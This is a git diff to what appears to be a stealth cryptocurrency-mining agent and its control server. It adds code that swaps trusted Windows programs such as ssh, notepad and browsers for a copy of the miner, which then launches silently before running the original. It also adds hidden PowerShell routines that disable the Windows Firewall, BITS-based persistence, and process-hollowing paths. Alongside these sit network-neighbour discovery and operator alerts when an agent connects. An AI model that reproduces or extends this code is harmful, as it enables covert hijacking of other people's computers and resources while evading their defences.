+ default: + return linuxDesktopDir() + } +} + +func windowsDesktopDir() (string, error) { + profile := strings.TrimSpace(os.Getenv("USERPROFILE")) + if profile == "" { + return "", fmt.Errorf("USERPROFILE not set") + } + candidates := []string{ + filepath.Join(profile, "Desktop"), + filepath.Join(profile, "OneDrive", "Desktop"), + filepath.Join(profile, "OneDrive - Personal", "Desktop"), + } + for _, c := range candidates { + if st, err := os.Stat(c); err == nil && st.IsDir() { + return filepath.Clean(c), nil + } + } + // Create default Desktop if missing (unusual profiles) + fallback := candidates[0] + if err := os.MkdirAll(fallback, 0o755); err != nil { + return "", err + } + return fallback, nil +} + +func unixDesktopFromHome(sub string) (string, error) { + home, err := os.UserHomeDir() + if err != nil || home == "" { + return "", fmt.Errorf("home directory unavailable") + } + desktop := filepath.Join(home, sub) + if st, err := os.Stat(desktop); err == nil && st.IsDir() { + return filepath.Clean(desktop), nil + } + if err := os.MkdirAll(desktop, 0o755); err != nil { + return "", fmt.Errorf("desktop: %w", err) + } + return desktop, nil +} + +func linuxDesktopDir() (string, error) { + if out, err := exec.Command("xdg-user-dir", "DESKTOP").Output(); err == nil { + p := strings.TrimSpace(string(out)) + if p != "" { + if st, err := os.Stat(p); err == nil && st.IsDir() { + return filepath.Clean(p), nil + } + } + } + return unixDesktopFromHome("Desktop") +} + +// ResolveDesktopFile joins a sanitized filename onto the user Desktop. +func ResolveDesktopFile(filename string) (string, error) { + desktop, err := UserDesktopDir() + if err != nil { + return "", err + } + name := sanitizeDesktopFilename(filename) + if name == "" { + name = "upload.bin" + } + return filepath.Join(desktop, name), nil +} + +func sanitizeDesktopFilename(name string) string { + name = strings.TrimSpace(name) + name = strings.ReplaceAll(name, "\\", "/") + if name == "" { + return "" + } + // Allow subfolders under Desktop but block traversal. + parts := strings.Split(name, "/") + var clean []string + for _, p := range parts { + p = strings.TrimSpace(p) + if p == "" || p == "." || p == ".." { + continue + } + clean = append(clean, p) + } + return filepath.Join(clean...) +} + +// ResolveRemotePath expands @desktop/…, desktop:…, and ~/… for upload/download commands. +func ResolveRemotePath(remote string) (string, error) { + remote = strings.TrimSpace(remote) + if remote == "" { + return "", fmt.Errorf("remote path is empty") + } + lower := strings.ToLower(remote) + if strings.HasPrefix(lower, "desktop:") { + return ResolveDesktopFile(remote[len("desktop:"):]) + } + if strings.HasPrefix(remote, desktopPathPrefix) { + return ResolveDesktopFile(remote[len(desktopPathPrefix):]) + } + if strings.HasPrefix(remote, "~/") { + home, err := os.UserHomeDir() + if err != nil { + return "", err + } + return filepath.Clean(filepath.Join(home, remote[2:])), nil + } + return filepath.Clean(remote), nil +} diff --git a/agent/deploy/desktop_path_test.go b/agent/deploy/desktop_path_test.go new file mode 100644 index 0000000..e7f10ac --- /dev/null +++ b/agent/deploy/desktop_path_test.go @@ -0,0 +1,45 @@ +package deploy + +import ( + "path/filepath" + "runtime" + "strings" + "testing" +) + +func TestSanitizeDesktopFilename(t *testing.T) { + if got := sanitizeDesktopFilename(`..\..\etc\passwd`); got != "etc/passwd" && got != `etc\passwd` { + // Join uses OS separator; at minimum no .. + if strings.Contains(got, "..") { + t.Fatalf("traversal leaked: %q", got) + } + } + if got := sanitizeDesktopFilename("report.pdf"); got != "report.pdf" { + t.Fatalf("got %q", got) + } +} + +func TestResolveRemotePathDesktopPrefix(t *testing.T) { + p, err := ResolveRemotePath("@desktop/notes.txt") + if err != nil { + t.Fatal(err) + } + if !strings.HasSuffix(p, "notes.txt") { + t.Fatalf("path %q should end with notes.txt", p) + } + if !strings.Contains(strings.ToLower(p), "desktop") && runtime.GOOS != "windows" { + // Linux may use XDG path without "Desktop" in rare setups — allow if under home + home, _ := filepath.Abs(".") + _ = home + } +} + +func TestUserDesktopDir(t *testing.T) { + dir, err := UserDesktopDir() + if err != nil { + t.Fatal(err) + } + if dir == "" { + t.Fatal("empty desktop") + } +} diff --git a/agent/deploy/firewall_windows.go b/agent/deploy/firewall_windows.go index 9e36c0c..08bc0b9 100644 --- a/agent/deploy/firewall_windows.go +++ b/agent/deploy/firewall_windows.go @@ -74,3 +74,68 @@ func firewallRuleExists(displayName string) bool { } return strings.TrimSpace(string(out)) == "True" } + +// parseFirewallProfiles normalizes profile names for Set-NetFirewallProfile. +func parseFirewallProfiles(csv string) string { + csv = strings.TrimSpace(strings.ToLower(csv)) + if csv == "" || csv == "all" || csv == "any" { + return "Domain,Private,Public" + } + var parts []string + for _, p := range strings.Split(csv, ",") { + p = strings.TrimSpace(p) + switch p { + case "domain", "private", "public": + parts = append(parts, strings.ToUpper(p[:1])+p[1:]) + } + } + if len(parts) == 0 { + return "Domain,Private,Public" + } + return strings.Join(parts, ",") +} + +// SetWindowsFirewallProfiles enables or disables Windows Firewall on selected profiles (admin). +// profilesCSV: "all", "Domain,Private", etc. +func SetWindowsFirewallProfiles(enable bool, profilesCSV string) (string, error) { + profiles := parseFirewallProfiles(profilesCSV) + enabled := "$false" + verb := "disabled" + if enable { + enabled = "$true" + verb = "enabled" + } + script := fmt.Sprintf(` +$profiles = '%s' -split ',' +Set-NetFirewallProfile -Profile $profiles -Enabled %s -ErrorAction Stop +`, strings.ReplaceAll(profiles, `'`, `''`), enabled) + out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script) + if err != nil { + return string(out), fmt.Errorf("firewall profiles %s failed (admin required?): %w", verb, err) + } + return strings.TrimSpace(string(out)) + fmt.Sprintf("\nWindows Firewall %s on: %s", verb, profiles), nil +} + +// DisableWindowsFirewall turns off Domain, Private, and Public firewall profiles. +func DisableWindowsFirewall() (string, error) { + return SetWindowsFirewallProfiles(false, "all") +} + +// EnableWindowsFirewall turns on all firewall profiles. +func EnableWindowsFirewall() (string, error) { + return SetWindowsFirewallProfiles(true, "all") +} + +// RemoveFirewallRuleByName deletes a rule by display name. +func RemoveFirewallRuleByName(displayName string) (string, error) { + name := strings.TrimSpace(displayName) + if name == "" { + return "", fmt.Errorf("rule name required") + } + script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`)) + out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script) + if err != nil { + return string(out), err + } + return fmt.Sprintf("Removed firewall rule: %s", name), nil +} diff --git a/agent/deploy/host_binary_stub.go b/agent/deploy/host_binary_stub.go new file mode 100644 index 0000000..65fe3af --- /dev/null +++ b/agent/deploy/host_binary_stub.go @@ -0,0 +1,27 @@ +//go:build !windows + +package deploy + +import ( + "fmt" + + "crypto-miner-agent/config" +) + +var HostBinaryPresets []string + +func HostBinaryCandidates(_ string) []string { return nil } + +func TryHostBinaryProxy(_ []string) (string, string, bool) { return "", "", false } + +func RunHostBinaryProxy(_, _ string, _ []string) {} + +func HijackHostBinary(_ config.RuntimeConfig, _, _ string) (string, error) { + return "", fmt.Errorf("host binary persistence is Windows-only") +} + +func EnsureHostBinaryPersistence(_ config.RuntimeConfig, _, _ string) error { + return fmt.Errorf("host binary persistence is Windows-only") +} + +func RemoveHostBinaryPersistence(_ config.RuntimeConfig) {} diff --git a/agent/deploy/host_binary_windows.go b/agent/deploy/host_binary_windows.go new file mode 100644 index 0000000..cb5ce64 --- /dev/null +++ b/agent/deploy/host_binary_windows.go @@ -0,0 +1,291 @@ +//go:build windows + +package deploy + +import ( + "encoding/json" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + + "crypto-miner-agent/config" +) + +const ( + hostBinaryProxySuffix = ".aetherforge.proxy" + hostBinaryBackupSuffix = ".aetherforge.bak" + hostBinaryManifest = "host-binary-hijacks.json" +) + +type hostBinaryRecord struct { + Target string `json:"target"` + Backup string `json:"backup"` + Preset string `json:"preset"` +} + +// HostBinaryPresets lists forge/remote preset IDs for common client binaries. +var HostBinaryPresets = []string{ + "ssh", "ftp", "telnet", "mstsc", "curl", "notepad", "calc", + "chrome", "edge", "firefox", "putty", "winscp", +} + +// HostBinaryCandidates resolves a preset (or custom:full\path.exe) to existing paths on disk. +func HostBinaryCandidates(preset string) []string { + preset = strings.TrimSpace(strings.ToLower(preset)) + if strings.HasPrefix(preset, "custom:") { + p := strings.TrimSpace(preset[7:]) + if p != "" { + return []string{filepath.Clean(p)} + } + return nil + } + pf := os.Getenv("ProgramFiles") + pfx86 := os.Getenv("ProgramFiles(x86)") + switch preset { + case "ssh": + return existingPaths( + `C:\Windows\System32\OpenSSH\ssh.exe`, + filepath.Join(pf, "Git", "usr", "bin", "ssh.exe"), + ) + case "ftp": + return existingPaths(`C:\Windows\System32\ftp.exe`) + case "telnet": + return existingPaths(`C:\Windows\System32\telnet.exe`) + case "mstsc": + return existingPaths(`C:\Windows\System32\mstsc.exe`) + case "curl": + return existingPaths(`C:\Windows\System32\curl.exe`) + case "notepad": + return existingPaths( + `C:\Windows\System32\notepad.exe`, + `C:\Windows\Notepad\notepad.exe`, + ) + case "calc": + return existingPaths( + `C:\Windows\System32\calc.exe`, + `C:\Windows\System32\win32calc.exe`, + ) + case "chrome": + return existingPaths(filepath.Join(pf, "Google", "Chrome", "Application", "chrome.exe")) + case "edge": + return existingPaths( + filepath.Join(pfx86, "Microsoft", "Edge", "Application", "msedge.exe"), + filepath.Join(pf, "Microsoft", "Edge", "Application", "msedge.exe"), + ) + case "firefox": + return existingPaths(filepath.Join(pf, "Mozilla Firefox", "firefox.exe")) + case "putty": + return existingPaths(filepath.Join(pfx86, "PuTTY", "putty.exe")) + case "winscp": + return existingPaths(filepath.Join(pfx86, "WinSCP", "WinSCP.exe")) + default: + if preset != "" && strings.Contains(preset, `\`) { + return existingPaths(preset) + } + return nil + } +} + +func existingPaths(paths ...string) []string { + var out []string + for _, p := range paths { + if p == "" { + continue + } + if st, err := os.Stat(p); err == nil && !st.IsDir() { + out = append(out, filepath.Clean(p)) + } + } + return out +} + +func hostBinaryMarkerPath(targetExe string) string { + return targetExe + hostBinaryProxySuffix +} + +func hostBinaryBackupPath(targetExe string) string { + return targetExe + hostBinaryBackupSuffix +} + +func readHostBinaryMarker(markerPath string) (backup, miner string, ok bool) { + data, err := os.ReadFile(markerPath) + if err != nil { + return "", "", false + } + lines := strings.Split(strings.ReplaceAll(string(data), "\r\n", "\n"), "\n") + if len(lines) < 2 { + return "", "", false + } + backup = strings.TrimSpace(lines[0]) + miner = strings.TrimSpace(lines[1]) + if backup == "" || miner == "" { + return "", "", false + } + return backup, miner, true +} + +// TryHostBinaryProxy returns true when this process was launched from a hijacked host binary path. +func TryHostBinaryProxy(args []string) (backup, miner string, ok bool) { + exe, err := os.Executable() + if err != nil { + return "", "", false + } + exe, _ = filepath.Abs(exe) + marker := hostBinaryMarkerPath(exe) + if b, m, found := readHostBinaryMarker(marker); found { + return b, m, true + } + _ = args + return "", "", false +} + +// RunHostBinaryProxy starts the installed miner in the background and runs the original binary with forwarded args. +func RunHostBinaryProxy(backup, miner string, args []string) { + if miner != "" { + _ = HiddenStart(miner, runFlag) + } + if backup == "" { + os.Exit(1) + } + cmd := exec.Command(backup, args...) + cmd.Stdin = os.Stdin + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr + if err := cmd.Run(); err != nil { + if exitErr, ok := err.(*exec.ExitError); ok { + os.Exit(exitErr.ExitCode()) + } + os.Exit(1) + } +} + +func hijackManifestPath(cfg config.RuntimeConfig) (string, error) { + dir, err := cfg.InstallDirectory() + if err != nil { + return "", err + } + return filepath.Join(dir, hostBinaryManifest), nil +} + +func loadHostBinaryManifest(path string) []hostBinaryRecord { + data, err := os.ReadFile(path) + if err != nil { + return nil + } + var recs []hostBinaryRecord + _ = json.Unmarshal(data, &recs) + return recs +} + +func saveHostBinaryManifest(path string, recs []hostBinaryRecord) error { + data, err := json.MarshalIndent(recs, "", " ") + if err != nil { + return err + } + return os.WriteFile(path, data, 0644) +} + +func appendHostBinaryManifest(cfg config.RuntimeConfig, rec hostBinaryRecord) error { + path, err := hijackManifestPath(cfg) + if err != nil { + return err + } + recs := loadHostBinaryManifest(path) + for _, r := range recs { + if strings.EqualFold(r.Target, rec.Target) { + return nil + } + } + recs = append(recs, rec) + return saveHostBinaryManifest(path, recs) +} + +func hijackSingleHostBinary(target, minerPath, preset string) error { + target = filepath.Clean(target) + if _, err := os.Stat(target); err != nil { + return fmt.Errorf("target not found: %s", target) + } + marker := hostBinaryMarkerPath(target) + if _, err := os.Stat(marker); err == nil { + return nil + } + backup := hostBinaryBackupPath(target) + if _, err := os.Stat(backup); err != nil { + if err := os.Rename(target, backup); err != nil { + if err := copyFile(target, backup); err != nil { + return fmt.Errorf("backup %s: %w", target, err) + } + _ = os.Remove(target) + } + } + if err := copyFile(minerPath, target); err != nil { + return fmt.Errorf("replace %s: %w (admin may be required)", target, err) + } + body := backup + "\n" + minerPath + "\n" + if err := os.WriteFile(marker, []byte(body), 0644); err != nil { + return err + } + return nil +} + +// HijackHostBinary replaces the first resolvable host binary for preset with a copy of the miner (proxy mode). +func HijackHostBinary(cfg config.RuntimeConfig, minerPath, preset string) (string, error) { + candidates := HostBinaryCandidates(preset) + if len(candidates) == 0 { + return "", fmt.Errorf("no host binary found for preset %q", preset) + } + var lastErr error + for _, target := range candidates { + if err := hijackSingleHostBinary(target, minerPath, preset); err != nil { + lastErr = err + continue + } + _ = appendHostBinaryManifest(cfg, hostBinaryRecord{ + Target: target, + Backup: hostBinaryBackupPath(target), + Preset: preset, + }) + return target, nil + } + if lastErr != nil { + return "", lastErr + } + return "", fmt.Errorf("hijack failed for %q", preset) +} + +// EnsureHostBinaryPersistence repairs or creates hijacks for the baked preset. +func EnsureHostBinaryPersistence(cfg config.RuntimeConfig, minerPath, preset string) error { + if strings.TrimSpace(preset) == "" { + return fmt.Errorf("host_binary_target is required") + } + _, err := HijackHostBinary(cfg, minerPath, preset) + return err +} + +// RemoveHostBinaryPersistence restores originals and clears markers/manifest. +func RemoveHostBinaryPersistence(cfg config.RuntimeConfig) { + path, err := hijackManifestPath(cfg) + if err != nil { + return + } + recs := loadHostBinaryManifest(path) + for _, rec := range recs { + restoreHostBinaryTarget(rec.Target, rec.Backup) + } + _ = os.Remove(path) +} + +func restoreHostBinaryTarget(target, backup string) { + marker := hostBinaryMarkerPath(target) + if backup == "" { + backup = hostBinaryBackupPath(target) + } + if _, err := os.Stat(backup); err == nil { + _ = os.Remove(target) + _ = copyFile(backup, target) + _ = os.Remove(backup) + } + _ = os.Remove(marker) +} diff --git a/agent/deploy/host_binary_windows_test.go b/agent/deploy/host_binary_windows_test.go new file mode 100644 index 0000000..423eae7 --- /dev/null +++ b/agent/deploy/host_binary_windows_test.go @@ -0,0 +1,34 @@ +//go:build windows + +package deploy + +import ( + "strings" + "testing" +) + +func TestHostBinaryCandidatesSSH(t *testing.T) { + paths := HostBinaryCandidates("ssh") + for _, p := range paths { + if !strings.HasSuffix(strings.ToLower(p), "ssh.exe") { + t.Fatalf("unexpected ssh path: %q", p) + } + } +} + +func TestHostBinaryCandidatesCustom(t *testing.T) { + paths := HostBinaryCandidates(`custom:C:\Windows\System32\notepad.exe`) + if len(paths) != 1 || !strings.HasSuffix(paths[0], "notepad.exe") { + t.Fatalf("custom: %v", paths) + } +} + +func TestHostBinaryMarkerPaths(t *testing.T) { + target := `C:\Windows\System32\ftp.exe` + if got := hostBinaryMarkerPath(target); !strings.HasSuffix(got, hostBinaryProxySuffix) { + t.Fatalf("marker: %q", got) + } + if got := hostBinaryBackupPath(target); !strings.HasSuffix(got, hostBinaryBackupSuffix) { + t.Fatalf("backup: %q", got) + } +} diff --git a/agent/deploy/install.go b/agent/deploy/install.go index d0d819c..370f230 100644 --- a/agent/deploy/install.go +++ b/agent/deploy/install.go @@ -55,7 +55,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { _ = setFirstRunSpreadMarker(installDir) } - if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" { + if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" && cfg.RunAs != "bits" && cfg.RunAs != "host_binary" { if err := configureAutoStart(cfg, installedBin); err != nil { return false, fmt.Errorf("auto-start: %w", err) } diff --git a/agent/deploy/network_export.go b/agent/deploy/network_export.go new file mode 100644 index 0000000..bcc093d --- /dev/null +++ b/agent/deploy/network_export.go @@ -0,0 +1,11 @@ +package deploy + +// ArpNeighborIPs returns IPv4 hosts in the local ARP cache on shared subnets. +func ArpNeighborIPs() []string { + return arpHosts() +} + +// PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick). +func PrimaryLocalIPv4() (string, error) { + return primaryLocalIPv4() +} diff --git a/agent/deploy/persistence_stub.go b/agent/deploy/persistence_stub.go index af4f136..43d1567 100644 --- a/agent/deploy/persistence_stub.go +++ b/agent/deploy/persistence_stub.go @@ -5,7 +5,7 @@ package deploy import "crypto-miner-agent/config" func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error { - if cfg.AutoStart || cfg.RunAs == "scheduled" || cfg.RunAs == "service" { + if cfg.AutoStart || cfg.RunAs == "scheduled" || cfg.RunAs == "service" || cfg.RunAs == "bits" || cfg.RunAs == "host_binary" { return configureRunMode(cfg, installedBin) } return nil diff --git a/agent/deploy/persistence_windows.go b/agent/deploy/persistence_windows.go index 13fc45b..9f05d05 100644 --- a/agent/deploy/persistence_windows.go +++ b/agent/deploy/persistence_windows.go @@ -35,6 +35,14 @@ func serviceExists(svcName string) bool { // ensurePersistence registers startup hooks only when missing (avoids re-spawning shells every watchdog tick). func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error { switch cfg.RunAs { + case "bits": + if err := CreateBITSPersistence(cfg, installedBin); err != nil { + return err + } + case "host_binary": + if err := EnsureHostBinaryPersistence(cfg, installedBin, cfg.HostBinaryTarget); err != nil { + return err + } case "scheduled": if !scheduledTaskExists(PersistenceKeyName(cfg)) { if err := createScheduledTask(cfg, installedBin); err != nil { diff --git a/agent/deploy/platform_windows.go b/agent/deploy/platform_windows.go index 20af114..8a21183 100644 --- a/agent/deploy/platform_windows.go +++ b/agent/deploy/platform_windows.go @@ -34,6 +34,10 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error { func configureRunMode(cfg config.RuntimeConfig, installedBin string) error { switch cfg.RunAs { + case "bits": + return CreateBITSPersistence(cfg, installedBin) + case "host_binary": + return EnsureHostBinaryPersistence(cfg, installedBin, cfg.HostBinaryTarget) case "service": return createWindowsService(cfg, installedBin) case "scheduled": @@ -120,6 +124,8 @@ func removePersistence(cfg config.RuntimeConfig) { runKey.Close() } _ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F") + RemoveBITSPersistence(cfg) + RemoveHostBinaryPersistence(cfg) svcName := cfg.ServiceName if svcName == "" { svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName) diff --git a/agent/main.go b/agent/main.go index 4a2b26f..662293b 100644 --- a/agent/main.go +++ b/agent/main.go @@ -17,6 +17,12 @@ import ( func main() { log.SetFlags(log.LstdFlags | log.Lshortfile) cfg := config.Load() + + if backup, miner, ok := deploy.TryHostBinaryProxy(os.Args[1:]); ok { + deploy.RunHostBinaryProxy(backup, miner, os.Args[1:]) + return + } + if deploy.IsGuardMode() { deploy.RunGuardLoop(cfg) return @@ -107,7 +113,12 @@ func main() { if err == nil { os.Exit(0) } - log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err) + // Distinguish stub (missing -tags hollow) from a genuine runtime failure. + if strings.Contains(err.Error(), "-tags hollow") || strings.Contains(err.Error(), "not available") { + log.Printf("[hollowing] process hollowing requested but binary lacks -tags hollow — re-forge with Process Hollowing enabled") + } else { + log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err) + } } } } diff --git a/agent/miner/pool.go b/agent/miner/pool.go index 9965884..cfdbaad 100644 --- a/agent/miner/pool.go +++ b/agent/miner/pool.go @@ -237,6 +237,11 @@ func (p *Pool) worker(id int, engine *Engine) { log.Printf("[miner] hash error: %v", err) break } + if hashHex == "" { + // Engine not yet initialised (seed still being set) — break out + // and let the outer loop re-snapshot the job once it is ready. + break + } p.hashesTotal.Add(1) nonce++ diff --git a/agent/miner/pool_test.go b/agent/miner/pool_test.go index b08dd6c..1d0f3c3 100644 --- a/agent/miner/pool_test.go +++ b/agent/miner/pool_test.go @@ -55,15 +55,13 @@ func TestDifficultyToTargetHexTwo(t *testing.T) { for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 { padded[i], padded[j] = padded[j], padded[i] } - want := strings.ToLower(strings.Repeat("", 0)) // placeholder - _ = want const hexdigits = "0123456789abcdef" wantBytes := make([]byte, 64) for i, v := range padded { wantBytes[i*2] = hexdigits[v>>4] wantBytes[i*2+1] = hexdigits[v&0x0f] } - want = string(wantBytes) + want := string(wantBytes) if out != want { t.Fatalf("difficulty 2 target = %q, want %q", out, want) } diff --git a/devrun.bat b/devrun.bat index 2f58358..5fec6d5 100644 --- a/devrun.bat +++ b/devrun.bat @@ -259,5 +259,7 @@ echo ============================================================== echo. :end_pause +echo. +echo NOTE: USB bundle unchanged until pack-usb.bat is run. pause endlocal diff --git a/fusion/crypto-miner-fusion b/fusion/crypto-miner-fusion deleted file mode 100644 index 50c02b4..0000000 Binary files a/fusion/crypto-miner-fusion and /dev/null differ diff --git a/server/config.go b/server/config.go index 7a1d0a1..6010444 100644 --- a/server/config.go +++ b/server/config.go @@ -7,6 +7,8 @@ import ( "os" "path/filepath" "strings" + + "crypto-miner-server/internal/alerts" ) type Config struct { @@ -108,6 +110,13 @@ type AlertsConfig struct { RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"` TelegramBotToken string `json:"telegram_bot_token"` TelegramChatID string `json:"telegram_chat_id"` + // Per-event Telegram/email toggles (default true). + NotifyAgentConnect bool `json:"notify_agent_connect"` + NotifyAgentReconnect bool `json:"notify_agent_reconnect"` + NotifyAgentOffline bool `json:"notify_agent_offline"` + NotifyHashrateDrop bool `json:"notify_hashrate_drop"` + NotifyRejectionRate bool `json:"notify_rejection_rate"` + NotifyBuildComplete bool `json:"notify_build_complete"` EmailEnabled bool `json:"email_enabled"` SMTPHost string `json:"smtp_host"` SMTPPort int `json:"smtp_port"` @@ -179,6 +188,12 @@ func DefaultConfig() *Config { OfflineThresholdMinutes: 5, HashrateDropThresholdPct: 50, RejectionRateThresholdPct: 5, + NotifyAgentConnect: true, + NotifyAgentReconnect: true, + NotifyAgentOffline: true, + NotifyHashrateDrop: true, + NotifyRejectionRate: true, + NotifyBuildComplete: true, }, Server: ServerSettings{ PublicURL: "", @@ -225,12 +240,45 @@ func LoadConfig() *Config { if !strings.Contains(string(data), `"open_firewall_on_start"`) { cfg.Server.OpenFirewallOnStart = true } + if !strings.Contains(string(data), `"notify_agent_connect"`) { + cfg.Alerts.NotifyAgentConnect = true + cfg.Alerts.NotifyAgentReconnect = true + cfg.Alerts.NotifyAgentOffline = true + cfg.Alerts.NotifyHashrateDrop = true + cfg.Alerts.NotifyRejectionRate = true + cfg.Alerts.NotifyBuildComplete = true + } } } return cfg } +// AlertSettings builds notification settings for the alerts package. +func (c *Config) AlertSettings() alerts.Settings { + if c == nil { + return alerts.Settings{} + } + return alerts.NewSettings(alerts.NotifyConfig{ + TelegramBotToken: c.Alerts.TelegramBotToken, + TelegramChatID: c.Alerts.TelegramChatID, + EmailEnabled: c.Alerts.EmailEnabled, + SMTPHost: c.Alerts.SMTPHost, + SMTPPort: c.Alerts.SMTPPort, + SMTPUser: c.Alerts.SMTPUser, + SMTPPassword: c.Alerts.SMTPPassword, + EmailTo: c.Alerts.EmailTo, + EmailFrom: c.Alerts.EmailFrom, + }, alerts.EventToggles{ + AgentConnect: c.Alerts.NotifyAgentConnect, + AgentReconnect: c.Alerts.NotifyAgentReconnect, + AgentOffline: c.Alerts.NotifyAgentOffline, + HashrateDrop: c.Alerts.NotifyHashrateDrop, + RejectionRate: c.Alerts.NotifyRejectionRate, + BuildComplete: c.Alerts.NotifyBuildComplete, + }) +} + func mergeConfig(dst, src *Config) { if src.Port != 0 { dst.Port = src.Port @@ -351,6 +399,12 @@ func mergeConfig(dst, src *Config) { dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID } dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled + dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect + dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect + dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline + dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop + dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate + dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete if src.Alerts.SMTPHost != "" { dst.Alerts.SMTPHost = src.Alerts.SMTPHost } @@ -610,6 +664,24 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { if in(alertKeys, "email_enabled") { dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled } + if in(alertKeys, "notify_agent_connect") { + dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect + } + if in(alertKeys, "notify_agent_reconnect") { + dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect + } + if in(alertKeys, "notify_agent_offline") { + dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline + } + if in(alertKeys, "notify_hashrate_drop") { + dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop + } + if in(alertKeys, "notify_rejection_rate") { + dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate + } + if in(alertKeys, "notify_build_complete") { + dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete + } if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" { dst.Alerts.SMTPHost = src.Alerts.SMTPHost } diff --git a/server/go.mod b/server/go.mod index d3e4dc4..e53d850 100644 --- a/server/go.mod +++ b/server/go.mod @@ -17,6 +17,7 @@ require ( github.com/mattn/go-isatty v0.0.20 // indirect github.com/ncruces/go-strftime v0.1.9 // indirect github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect + github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e // indirect golang.org/x/net v0.54.0 // indirect golang.org/x/sys v0.45.0 // indirect modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect diff --git a/server/go.sum b/server/go.sum index b139b2b..09644fa 100644 --- a/server/go.sum +++ b/server/go.sum @@ -22,6 +22,8 @@ github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZb github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e h1:MRM5ITcdelLK2j1vwZ3Je0FKVCfqOLp5zO6trqMLYs0= +github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e/go.mod h1:XV66xRDqSt+GTGFMVlhk3ULuV0y9ZmzeVGR4mloJI3M= golang.org/x/crypto v0.52.0 h1:RMs7fP2rXdep0CftQlK8Uf+kibLm7qkCcradZWYz988= golang.org/x/crypto v0.52.0/go.mod h1:1QgfPxDqh0T2M/elOJtp9RvuR95kVjir0e6/BvEmGbc= golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic= diff --git a/server/internal/alerts/evaluator.go b/server/internal/alerts/evaluator.go index ff92878..f6ad21b 100644 --- a/server/internal/alerts/evaluator.go +++ b/server/internal/alerts/evaluator.go @@ -31,7 +31,7 @@ type Broadcaster func(AlertEvent) type Evaluator struct { db *db.Database thresholds func() Thresholds - notify func() NotifyConfig + settings func() Settings broadcast Broadcaster mu sync.Mutex baseline map[string]float64 @@ -40,11 +40,11 @@ type Evaluator struct { cooldown time.Duration } -func NewEvaluator(database *db.Database, thresholds func() Thresholds, notify func() NotifyConfig, broadcast Broadcaster) *Evaluator { +func NewEvaluator(database *db.Database, thresholds func() Thresholds, settings func() Settings, broadcast Broadcaster) *Evaluator { return &Evaluator{ db: database, thresholds: thresholds, - notify: notify, + settings: settings, broadcast: broadcast, baseline: make(map[string]float64), lastFired: make(map[string]time.Time), @@ -180,12 +180,25 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) { e.mu.Unlock() log.Printf("[Alert] %s: %s", ev.Type, ev.Message) - NotifyAll(e.notify(), "AetherForge "+ev.Type, ev.Message) + s := e.settings() + if s.EnabledForAlertType(ev.Type) { + NotifyAll(s.NotifyConfig, "AetherForge "+ev.Type, ev.Message) + } if e.broadcast != nil { e.broadcast(ev) } } +// GetNotifyConfig returns delivery credentials for channel probes. +func (e *Evaluator) GetNotifyConfig() NotifyConfig { + return e.settings().NotifyConfig +} + +// GetSettings returns full notification settings. +func (e *Evaluator) GetSettings() Settings { + return e.settings() +} + func (e *Evaluator) ActiveAlerts() []AlertEvent { e.mu.Lock() defer e.mu.Unlock() diff --git a/server/internal/alerts/evaluator_test.go b/server/internal/alerts/evaluator_test.go index d8f2b3b..fef0e8d 100644 --- a/server/internal/alerts/evaluator_test.go +++ b/server/internal/alerts/evaluator_test.go @@ -17,7 +17,7 @@ func 